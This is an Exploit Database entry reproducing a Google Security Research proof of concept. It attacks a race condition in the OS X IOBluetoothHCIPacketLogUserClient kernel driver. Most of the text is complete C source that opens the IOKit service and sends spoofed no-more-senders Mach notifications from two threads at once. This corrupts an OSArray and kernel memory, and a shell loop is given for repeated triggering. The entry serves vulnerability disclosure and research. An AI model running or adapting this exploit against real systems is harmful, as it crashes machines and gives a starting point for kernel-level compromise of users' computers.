Apple Mac OSX – IOBluetoothHCIPacketLogUserClient Memory Corruption

• Exploit Database
• 11 阅读

• 作者： Google Security Research
  日期： 2016-01-28
• 类别：

  • dos
  平台：

  • osx
• 来源：https://www.exploit-db.com/exploits/39371/

• /*
  Source: https://code.google.com/p/google-security-research/issues/detail?id=572
  
  The OS* data types (OSArray etc) are explicity not thread safe; they rely on their callers to implement the required locking
  to serialize all accesses and manipulations of them. By sending two spoofed no-more-senders notifications on two threads at the
  same time we can cause parallel calls to OSArray::removeObject with no locks which is unsafe. In this particular case you might see two threads
  both passing the index >= count check in OSArray::removeObject (when count = 1 and index = 0) but then both decrementing count leading to an OSArray with
  a count of 0xffffffff leading to memory corruption when trying to shift the array contents.
  
  repro: while true; do ./iospoof_bluepacketlog; done
  
  Tested on OS X 10.11 ElCapitan (15A284) on MacBookAir 5,2
  */
  
  // ianbeer
  // clang -o iospoof_bluepacketlog iospoof_bluepacketlog.c -framework IOKit
  // boot-args debug=0x144 -v pmuflags=1 kdp_match_name=en3 gzalloc_min=100 gzalloc_max=300 -no-zp
  
  /*
  Spoofed no-more-senders notifications with IOBluetoothHCIPacketLogUserClient leads to unsafe parallel OSArray manipulation
  
  The OS* data types (OSArray etc) are explicity not thread safe; they rely on their callers to implement the required locking
  to serialize all accesses and manipulations of them. By sending two spoofed no-more-senders notifications on two threads at the
  same time we can cause parallel calls to OSArray::removeObject with no locks which is unsafe. In this particular case you might see two threads
  both passing the index >= count check in OSArray::removeObject (when count = 1 and index = 0) but then both decrementing count leading to an OSArray with
  a count of 0xffffffff leading to memory corruption when trying to shift the array contents.
  
  repro: while true; do ./iospoof_bluepacketlog; done
  */ 
  
  #include <stdio.h>
  #include <stdlib.h>
  
  #include <mach/mach.h>
  #include <mach/thread_act.h>
  
  #include <pthread.h>
  #include <unistd.h>
  
  #include <IOKit/IOKitLib.h>
  
  io_connect_t conn = MACH_PORT_NULL;
  
  int start = 0;
  
  struct spoofed_notification {
  mach_msg_header_t header;
  NDR_record_t NDR;
  mach_msg_type_number_t no_senders_count;
  };
  
  struct spoofed_notification msg = {0};
  
  void send_message() {
  mach_msg(&msg,
   MACH_SEND_MSG,
   msg.header.msgh_size,
   0,
   MACH_PORT_NULL,
   MACH_MSG_TIMEOUT_NONE,
   MACH_PORT_NULL);
  }
  
  void go(void* arg){
  
  while(start == 0){;}
  
  usleep(1);
  
  send_message();
  }
  
  int main(int argc, char** argv) {
  char* service_name = "IOBluetoothHCIController";
  int client_type = 1;
  
  io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching(service_name));
  if (service == MACH_PORT_NULL) {
  printf("can't find service\n");
  return 0;
  }
  
  IOServiceOpen(service, mach_task_self(), client_type, &conn);
  if (conn == MACH_PORT_NULL) {
  printf("can't connect to service\n");
  return 0;
  }
  
  pthread_t t;
  int arg = 0;
  pthread_create(&t, NULL, (void*) go, (void*) &arg);
  
  // build the message:
  msg.header.msgh_size = sizeof(struct spoofed_notification);
  msg.header.msgh_local_port = conn;
  msg.header.msgh_remote_port = conn;
  msg.header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, MACH_MSG_TYPE_COPY_SEND);
  msg.header.msgh_id = 0106;
  
  msg.no_senders_count = 1000;
  
  usleep(100000);
  
  start = 1;
  
  send_message();
  
  pthread_join(t, NULL);
  
  return 0;
  }